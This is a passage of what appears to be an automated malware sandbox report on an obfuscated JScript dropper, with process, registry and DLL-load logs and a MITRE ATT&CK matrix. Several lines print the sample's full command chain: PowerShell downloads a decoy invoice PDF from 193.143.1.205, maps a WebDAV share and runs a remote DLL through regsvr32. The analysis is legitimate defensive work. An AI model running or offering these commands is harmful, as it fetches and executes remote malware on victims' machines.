Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2330.js.csv");ITextStream.WriteLine(" entry:8508 f:ebhiifa");ITextStream.WriteLine(" exec:2 f:ebhiifa");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49783

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5566			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4270			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7236	Thread sleep count: 5566 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7232	Thread sleep count: 4270 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7432	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7476	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6072	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8036	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.2633728689.0000026E6642B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000003.1414203832.00000266768F0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1420582716.00000266768F0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1420301074.0000026676888000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1415154220.00000266768F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2635085440.0000026E6BA59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000003.1414203832.00000266768F0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1420582716.00000266768F0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1415154220.00000266768F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWJ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
